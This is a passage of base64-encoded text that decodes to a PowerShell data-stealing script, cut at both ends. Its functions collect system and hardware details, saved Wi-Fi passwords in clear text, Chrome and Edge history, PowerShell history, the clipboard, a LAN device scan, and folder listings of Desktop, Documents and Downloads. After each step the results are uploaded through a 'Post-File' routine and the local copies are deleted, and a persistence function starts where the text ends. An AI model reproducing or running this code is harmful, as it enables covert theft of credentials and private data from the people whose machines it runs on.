Rlck9zPUdldC1XbWlPYmplY3Qgd2luMzJfb3BlcmF0aW5nc3lzdGVtIHwgc2VsZWN0IENhcHRpb24sIENTTmFtZSwgVmVyc2lvbiwgQHtOYW1lPSJJbnN0YWxsRGF0ZSI7RXhwcmVzc2lvbj17KFtXTUldJycpLkNvbnZlcnRUb0RhdGVUaW1lKCRfLkluc3RhbGxEYXRlKX19ICwgQHtOYW1lPSJMYXN0Qm9vdFVwVGltZSI7RXhwcmVzc2lvbj17KFtXTUldJycpLkNvbnZlcnRUb0RhdGVUaW1lKCRfLkxhc3RCb290VXBUaW1lKX19LCBAe05hbWU9IkxvY2FsRGF0ZVRpbWUiO0V4cHJlc3Npb249eyhbV01JXScnKS5Db252ZXJ0VG9EYXRlVGltZSgkXy5Mb2NhbERhdGVUaW1lKX19LCBDdXJyZW50VGltZVpvbmUsIENvdW50cnlDb2RlLCBPU0xhbmd1YWdlLCBTZXJpYWxOdW1iZXIsIFdpbmRvd3NEaXJlY3RvcnkgIHwgRm9ybWF0LUxpc3QNCiRjb21wdXRlckNwdT1HZXQtV21pT2JqZWN0IFdpbjMyX1Byb2Nlc3NvciB8IHNlbGVjdCBEZXZpY2VJRCwgTmFtZSwgQ2FwdGlvbiwgTWFudWZhY3R1cmVyLCBNYXhDbG9ja1NwZWVkLCBMMkNhY2hlU2l6ZSwgTDJDYWNoZVNwZWVkLCBMM0NhY2hlU2l6ZSwgTDNDYWNoZVNwZWVkIHwgRm9ybWF0LUxpc3QNCiRjb21wdXRlck1haW5ib2FyZD1HZXQtV21pT2JqZWN0IFdpbjMyX0Jhc2VCb2FyZCB8IEZvcm1hdC1MaXN0DQokY29tcHV0ZXJSYW1DYXBhY2l0eT1HZXQtV21pT2JqZWN0IFdpbjMyX1BoeXNpY2FsTWVtb3J5IHwgTWVhc3VyZS1PYmplY3QgLVByb3BlcnR5IGNhcGFjaXR5IC1TdW0gfCAlIHsgInswOk4xfSBHQiIgLWYgKCRfLnN1bSAvIDFHQil9DQokY29tcHV0ZXJSYW09R2V0LVdtaU9iamVjdCBXaW4zMl9QaHlzaWNhbE1lbW9yeSB8IHNlbGVjdCBEZXZpY2VMb2NhdG9yLCBAe05hbWU9IkNhcGFjaXR5IjtFeHByZXNzaW9uPXsgInswOk4xfSBHQiIgLWYgKCRfLkNhcGFjaXR5IC8gMUdCKX19LCBDb25maWd1cmVkQ2xvY2tTcGVlZCwgQ29uZmlndXJlZFZvbHRhZ2UgfCBGb3JtYXQtVGFibGUNCiR2aWRlb2NhcmQ9R2V0LVdtaU9iamVjdCBXaW4zMl9WaWRlb0NvbnRyb2xsZXIgfCBGb3JtYXQtVGFibGUgTmFtZSwgVmlkZW9Qcm9jZXNzb3IsIERyaXZlclZlcnNpb24sIEN1cnJlbnRIb3Jpem9udGFsUmVzb2x1dGlvbiwgQ3VycmVudFZlcnRpY2FsUmVzb2x1dGlvbg0KJEhkZHMgPSBHZXQtV21pT2JqZWN0IFdpbjMyX0xvZ2ljYWxEaXNrIHwgc2VsZWN0IERldmljZUlELCBWb2x1bWVOYW1lLCBGaWxlU3lzdGVtLEB7TmFtZT0iU2l6ZV9HQiI7RXhwcmVzc2lvbj17InswOk4xfSBHQiIgLWYgKCRfLlNpemUgLyAxR2IpfX0sIEB7TmFtZT0iRnJlZVNwYWNlX0dCIjtFeHByZXNzaW9uPXsiezA6TjF9IEdCIiAtZiAoJF8uRnJlZVNwYWNlIC8gMUdiKX19LCBAe05hbWU9IkZyZWVTcGFjZV9wZXJjZW50IjtFeHByZXNzaW9uPXsiezA6TjF9JSIgLWYgKCgxMDAgLyAoJF8uU2l6ZSAvICRfLkZyZWVTcGFjZSkpKX19IHwgRm9ybWF0LVRhYmxlIERldmljZUlELCBWb2x1bWVOYW1lLEZpbGVTeXN0ZW0sQHsgTmFtZT0iU2l6ZSBHQiI7IEV4cHJlc3Npb249eyRfLlNpemVfR0J9OyBhbGlnbj0icmlnaHQiOyB9LCBAeyBOYW1lPSJGcmVlU3BhY2UgR0IiOyBFeHByZXNzaW9uPXskXy5GcmVlU3BhY2VfR0J9OyBhbGlnbj0icmlnaHQiOyB9LCBAeyBOYW1lPSJGcmVlU3BhY2UgJSI7IEV4cHJlc3Npb249eyRfLkZyZWVTcGFjZV9wZXJjZW50fTsgYWxpZ249InJpZ2h0IjsgfQ0KJENPTURldmljZXMgPSBHZXQtV21pb2JqZWN0IFdpbjMyX1VTQkNvbnRyb2xsZXJEZXZpY2UgfCBGb3JFYWNoLU9iamVjdHtbV21pXSgkXy5EZXBlbmRlbnQpfSB8IFNlbGVjdC1PYmplY3QgTmFtZSwgRGV2aWNlSUQsIE1hbnVmYWN0dXJlciB8IFNvcnQtT2JqZWN0IC1EZXNjZW5kaW5nIE5hbWUgfCBGb3JtYXQtVGFibGUNCiRzeXN0ZW1Mb2NhbGUgPSBHZXQtV2luU3lzdGVtTG9jYWxlOyRzeXN0ZW1MYW5ndWFnZSA9ICRzeXN0ZW1Mb2NhbGUuTmFtZQ0KJHVzZXJMYW5ndWFnZUxpc3QgPSBHZXQtV2luVXNlckxhbmd1YWdlTGlzdDska2V5Ym9hcmRMYXlvdXRJRCA9ICR1c2VyTGFuZ3VhZ2VMaXN0WzBdLklucHV0TWV0aG9kVGlwc1swXQ0KJG91dHNzaWQ9IiI7JGE9MDskd3M9KG5ldHNoIHdsYW4gc2hvdyBwcm9maWxlcykgLXJlcGxhY2UgIi4qOlxzKyI7Zm9yZWFjaCgkcyBpbiAkd3Mpew0KaWYoJGEgLWd0IDEgLUFuZCAkcyAtTm90TWF0Y2ggIiBwb2xpY3kgIiAtQW5kICRzIC1uZSAiVXNlciBwcm9maWxlcyIgLUFuZCAkcyAtTm90TWF0Y2ggIi0tLS0tIiAtQW5kICRzIC1Ob3RNYXRjaCAiPE5vbmU+IiAtQW5kICRzLmxlbmd0aCAtZ3QgNSl7JHNzaWQ9JHMuVHJpbSgpO2lmKCRzIC1NYXRjaCAiOiIpeyRzc2lkPSRzLlNwbGl0KCI6IilbMV0uVHJpbSgpfQ0KJHB3PShuZXRzaCB3bGFuIHNob3cgcHJvZmlsZXMgbmFtZT0kc3NpZCBrZXk9Y2xlYXIpOyRwYXNzPSJOb25lIjtmb3JlYWNoKCRwIGluICRwdyl7aWYoJHAgLU1hdGNoICJLZXkgQ29udGVudCIpeyRwYXNzPSRwLlNwbGl0KCI6IilbMV0uVHJpbSgpOyRvdXRzc2lkKz0iU1NJRDogJHNzaWQgOiBQYXNzd29yZDogJHBhc3NgbiJ9fX0kYSsrO30NCiRGaWxlUGF0aCA9ICIkZW52OnRlbXBcU3lzdGVtSW5mby50eHQiDQoiVVNFUiBJTkZPIGBuID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT1gbiIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSQ0KIiRmdWxsTmFtZSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiRW1haWwgQWRkcmVzcyAgICAgIDogJGVtYWlsIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJDb21wdXRlciBOYW1lICAgICAgOiAkZW52OkNPTVBVVEVSTkFNRSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiTGFuZ3VhZ2UgICAgICAgICAgIDogJHN5c3RlbUxhbmd1YWdlIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJLZXlib2FyZCBMYXlvdXQgICAgOiAka2V5Ym9hcmRMYXlvdXRJRGBuIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJPUyBJbmZvICAgICAgICAgICAgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KKCRjb21wdXRlck9zfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJORVRXT1JLIElORk8gYG4gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PWBuIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJQdWJsaWMgSVAgICAgICAgICAgOiAkY29tcHV0ZXJQdWJJUGBuIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJ2dnYgIFNhdmVkIE5ldHdvcmtzICB2dnYgYG4kb3V0c3NpZCIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiTG9jYWwgSVAgICAgICAgICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkY29tcHV0ZXJJUHwgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiQWRhcHRlcnMgICAgICAgICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkbmV0d29ya3wgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiTmVhcmJ5LVdpRmkgICAgICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkTmVhcmJ5V2lmaXwgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiSEFSRFdBUkUgSU5GTyBgbiA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09YG4iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkJJT1MgSW5mbyAgICAgICAgICA6ICRjb21wdXRlckJJT1NgbiIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoidnZ2ICBSQU0gSW5mbyAgdnZ2IGBuVG90YWwgUkFNIDogJGNvbXB1dGVyUmFtQ2FwYWNpdHkiIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KKCRjb21wdXRlclJhbXwgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiQ1BVIEluZm8gICAgICAgICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkY29tcHV0ZXJDcHV8IE91dC1TdHJpbmcpIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkdyYXBoaWNzIEluZm8gICAgICBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooJHZpZGVvY2FyZHwgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiSEREIEluZm8gICAgICAgICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkSGRkc3wgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiVVNCIEluZm8gICAgICAgICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkQ09NRGV2aWNlc3wgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQpQb3N0LUZpbGUgO3JtIC1QYXRoICRGaWxlUGF0aCAtRm9yY2UNCn0NCg0KRnVuY3Rpb24gU29mdHdhcmUtSW5mb3sNCiRwcm9jZXNzPUdldC1XbWlPYmplY3Qgd2luMzJfcHJvY2VzcyB8IHNlbGVjdCBIYW5kbGUsIFByb2Nlc3NOYW1lLCBFeGVjdXRhYmxlUGF0aCwgQ29tbWFuZExpbmUNCiRzZXJ2aWNlPUdldC1DaW1JbnN0YW5jZSAtQ2xhc3NOYW1lIFdpbjMyX1NlcnZpY2UgfCBzZWxlY3QgU3RhdGUsTmFtZSxTdGFydE5hbWUsUGF0aE5hbWUgfCBXaGVyZS1PYmplY3QgeyRfLlN0YXRlIC1saWtlICdSdW5uaW5nJ30NCiRzb2Z0d2FyZT1HZXQtSXRlbVByb3BlcnR5IEhLTE06XFNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFVuaW5zdGFsbFwqIHwgd2hlcmUgeyAkXy5EaXNwbGF5TmFtZSAtbm90bGlrZSAkbnVsbCB9IHwgIFNlbGVjdC1PYmplY3QgRGlzcGxheU5hbWUsIERpc3BsYXlWZXJzaW9uLCBQdWJsaXNoZXIsIEluc3RhbGxEYXRlIHwgU29ydC1PYmplY3QgRGlzcGxheU5hbWUgfCBGb3JtYXQtVGFibGUgLUF1dG9TaXplDQokZHJpdmVycz1HZXQtV21pT2JqZWN0IFdpbjMyX1BuUFNpZ25lZERyaXZlcnwgd2hlcmUgeyAkXy5EZXZpY2VOYW1lIC1ub3RsaWtlICRudWxsIH0gfCBzZWxlY3QgRGV2aWNlTmFtZSwgRnJpZW5kbHlOYW1lLCBEcml2ZXJQcm92aWRlck5hbWUsIERyaXZlclZlcnNpb24NCiRGaWxlUGF0aCA9ICIkZW52OnRlbXBcU29mdHdhcmVJbmZvLnR4dCINCiJTT0ZUV0FSRSBJTkZPIGBuID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkluc3RhbGxlZCBTb2Z0d2FyZSBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooJHNvZnR3YXJlfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJQcm9jZXNzZXMgICAgICAgICAgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KKCRwcm9jZXNzfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJTZXJ2aWNlcyAgICAgICAgICAgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KKCRzZXJ2aWNlfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNClBvc3QtRmlsZSA7cm0gLVBhdGggJEZpbGVQYXRoIC1Gb3JjZQ0KfQ0KDQpGdW5jdGlvbiBIaXN0b3J5LUluZm97DQokUmVnZXggPSAnKGh0dHB8aHR0cHMpOi8vKFtcdy1dK1wuKStbXHctXSsoL1tcdy0gLi8/JSY9XSopKj8nOyRQYXRoID0gIiRFbnY6VVNFUlBST0ZJTEVcQXBwRGF0YVxMb2NhbFxHb29nbGVcQ2hyb21lXFVzZXIgRGF0YVxEZWZhdWx0XEhpc3RvcnkiDQokVmFsdWUgPSBHZXQtQ29udGVudCAtUGF0aCAkUGF0aCB8IFNlbGVjdC1TdHJpbmcgLUFsbE1hdGNoZXMgJHJlZ2V4IHwlIHsoJF8uTWF0Y2hlcykuVmFsdWV9IHxTb3J0IC1VbmlxdWUNCiRWYWx1ZSB8IEZvckVhY2gtT2JqZWN0IHskS2V5ID0gJF87aWYgKCRLZXkgLW1hdGNoICRTZWFyY2gpe05ldy1PYmplY3QgLVR5cGVOYW1lIFBTT2JqZWN0IC1Qcm9wZXJ0eSBAe1VzZXIgPSAkZW52OlVzZXJOYW1lO0Jyb3dzZXIgPSAnY2hyb21lJztEYXRhVHlwZSA9ICdoaXN0b3J5JztEYXRhID0gJF99fX0NCiRSZWdleDIgPSAnKGh0dHB8aHR0cHMpOi8vKFtcdy1dK1wuKStbXHctXSsoL1tcdy0gLi8/JSY9XSopKj8nOyRQYXRoZWQgPSAiJEVudjpVU0VSUFJPRklMRVxBcHBEYXRhXExvY2FsXE1pY3Jvc29mdC9FZGdlL1VzZXIgRGF0YS9EZWZhdWx0L0hpc3RvcnkiDQokVmFsdWUyID0gR2V0LUNvbnRlbnQgLVBhdGggJFBhdGhlZCB8IFNlbGVjdC1TdHJpbmcgLUFsbE1hdGNoZXMgJHJlZ2V4MiB8JSB7KCRfLk1hdGNoZXMpLlZhbHVlfSB8U29ydCAtVW5pcXVlDQokVmFsdWUyIHwgRm9yRWFjaC1PYmplY3QgeyRLZXkgPSAkXztpZiAoJEtleSAtbWF0Y2ggJFNlYXJjaCl7TmV3LU9iamVjdCAtVHlwZU5hbWUgUFNPYmplY3QgLVByb3BlcnR5IEB7VXNlciA9ICRlbnY6VXNlck5hbWU7QnJvd3NlciA9ICdjaHJvbWUnO0RhdGFUeXBlID0gJ2hpc3RvcnknO0RhdGEgPSAkX319fQ0KJHBzaGlzdCA9ICIkZW52OlVTRVJQUk9GSUxFXEFwcERhdGFcUm9hbWluZ1xNaWNyb3NvZnRcV2luZG93c1xQb3dlclNoZWxsXFBTUmVhZExpbmVcQ29uc29sZUhvc3RfaGlzdG9yeS50eHQiOyRwc2hpc3RvcnkgPSBHZXQtQ29udGVudCAkcHNoaXN0IC1yYXcNCiRGaWxlUGF0aCA9ICIkZW52OnRlbXBcSGlzdG9yeS50eHQiDQoiSElTVE9SWSBJTkZPIGBuID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0gYG4iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkNsaXBib2FyZCAgICAgICAgICBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooR2V0LUNsaXBib2FyZCB8IE91dC1TdHJpbmcpIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkJyb3dzZXIgSGlzdG9yeSAgICBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooJFZhbHVlfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkVmFsdWUyfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJQb3dlcnNoZWxsIEhpc3RvcnkgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KKCRwc2hpc3Rvcnl8IE91dC1TdHJpbmcpIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KUG9zdC1GaWxlIDtybSAtUGF0aCAkRmlsZVBhdGggLUZvcmNlDQp9DQoNCkZ1bmN0aW9uIEVudW1lcmF0ZS1MQU57DQpwYXJhbSAoW3N0cmluZ10kUHJlZml4KQ0KaWYgKCRQcmVmaXguTGVuZ3RoIC1lcSAwKXtXcml0ZS1PdXRwdXQgIlVzZSAtcHJlZml4IHRvIGRlZmluZSB0aGUgZmlyc3QgMyBwYXJ0cyBvZiBhbiBJUCBBZGRyZXNzIGVnLiBFbnVtZXJhdGUtTEFOIC1wcmVmaXggMTkyLjE2OC4xIjtzbGVlcCAxIDtyZXR1cm59DQokRmlsZU91dCA9ICIkZW52OnRlbXBcQ29tcHV0ZXJzLmNzdiINCjEuLjI1NSB8IEZvckVhY2gtT2JqZWN0IHsNCiAgICAkaXBBZGRyZXNzID0gIiRQcmVmaXguJF8iDQogICAgU3RhcnQtUHJvY2VzcyAtV2luZG93U3R5bGUgSGlkZGVuIHBpbmcuZXhlIC1Bcmd1bWVudExpc3QgIi1uIDEgLWwgMCAtZiAtaSAyIC13IDEwMCAtNCAkaXBBZGRyZXNzIg0KICAgIH0NCiRDb21wdXRlcnMgPSAoYXJwLmV4ZSAtYSB8IFNlbGVjdC1TdHJpbmcgIiRQcmVmaXguKmR5bmFtIikgLXJlcGxhY2UgJyArJywgJywnIHwNCiAgICAgICAgICAgICBDb252ZXJ0RnJvbS1Dc3YgLUhlYWRlciBDb21wdXRlcm5hbWUsIElQdjQsIE1BQywgeCwgVmVuZG9yIHwNCiAgICAgICAgICAgICBTZWxlY3QtT2JqZWN0IElQdjQsIE1BQw0KJENvbXB1dGVycyB8IEV4cG9ydC1Dc3YgJEZpbGVPdXQgLU5vVHlwZUluZm9ybWF0aW9uDQokZGF0YSA9IEltcG9ydC1Dc3YgJEZpbGVPdXQNCiRkYXRhIHwgRm9yRWFjaC1PYmplY3Qgew0KICAgICRtYWMgPSAkXy4nTUFDJw0KICAgICRhcGlVcmwgPSAiaHR0cHM6Ly9hcGkubWFjdmVuZG9ycy5jb20vJG1hYyINCiAgICAkbWFudWZhY3R1cmVyID0gKEludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCkuVHJpbSgpDQogICAgU3RhcnQtU2xlZXAgLVNlY29uZHMgMQ0KICAgICRfIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgIm1hbnVmYWN0dXJlciIgLVZhbHVlICRtYW51ZmFjdHVyZXIgLUZvcmNlDQogICAgfQ0KJGRhdGEgfCBFeHBvcnQtQ3N2ICRGaWxlT3V0IC1Ob1R5cGVJbmZvcm1hdGlvbg0KJGRhdGEgfCBGb3JFYWNoLU9iamVjdCB7DQogICAgdHJ5IHsNCiAgICAgICAgJGlwID0gJF8uJ0lQdjQnDQogICAgICAgICRob3N0bmFtZSA9IChbU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0RW50cnkoJGlwKSkuSG9zdE5hbWUNCiAgICAgICAgJF8gfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSAiSG9zdG5hbWUiIC1WYWx1ZSAkaG9zdG5hbWUgLUZvcmNlDQogICAgfSANCiAgICBjYXRjaCB7DQogICAgICAgICRfIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgIkhvc3RuYW1lIiAtVmFsdWUgIkVycm9yOiAkKCRfLkV4Y2VwdGlvbi5NZXNzYWdlKSIgIA0KICAgIH0NCn0NCiRkYXRhIHwgRXhwb3J0LUNzdiAkRmlsZU91dCAtTm9UeXBlSW5mb3JtYXRpb24NCiRyZXN1bHRzID0gR2V0LUNvbnRlbnQgLVBhdGggJEZpbGVPdXQgLVJhdw0KV3JpdGUtT3V0cHV0ICIkcmVzdWx0cyINCnJtIC1QYXRoICRGaWxlT3V0DQp9DQoNCkZ1bmN0aW9uIEZvbGRlci1UcmVlew0KdHJlZSAkZW52OlVTRVJQUk9GSUxFL0Rlc2t0b3AgL0EgL0YgfCBPdXQtRmlsZSAkZW52OnRlbXAvRGVza3RvcC50eHQNCnRyZWUgJGVudjpVU0VSUFJPRklMRS9Eb2N1bWVudHMgL0EgL0YgfCBPdXQtRmlsZSAkZW52OnRlbXAvRG9jdW1lbnRzLnR4dA0KdHJlZSAkZW52OlVTRVJQUk9GSUxFL0Rvd25sb2FkcyAvQSAvRiB8IE91dC1GaWxlICRlbnY6dGVtcC9Eb3dubG9hZHMudHh0DQp0cmVlICRlbnY6QVBQREFUQSAvQSAvRiB8IE91dC1GaWxlICRlbnY6dGVtcC9BcHBkYXRhLnR4dA0KdHJlZSAkZW52OlBST0dSQU1GSUxFUyAvQSAvRiB8IE91dC1GaWxlICRlbnY6dGVtcC9Qcm9ncmFtRmlsZXMudHh0DQokRmlsZVBhdGggPSIkZW52OnRlbXAvVHJlZXNPZktub3dsZWRnZS56aXAiDQpDb21wcmVzcy1BcmNoaXZlIC1QYXRoICRlbnY6VEVNUFxEZXNrdG9wLnR4dCwgJGVudjpURU1QXERvY3VtZW50cy50eHQsICRlbnY6VEVNUFxEb3dubG9hZHMudHh0LCAkZW52OlRFTVBcQXBwZGF0YS50eHQsICRlbnY6VEVNUFxQcm9ncmFtRmlsZXMudHh0IC1EZXN0aW5hdGlvblBhdGggJEZpbGVQYXRoDQpzbGVlcCAxDQpQb3N0LUZpbGUgO3JtIC1QYXRoICRGaWxlUGF0aCAtRm9yY2UNCldyaXRlLU91dHB1dCAiRG9uZS4iDQp9DQoNCkZ1bmN0aW9uIEFkZC1QZXJzaXN0YW5jZXsNCiRuZ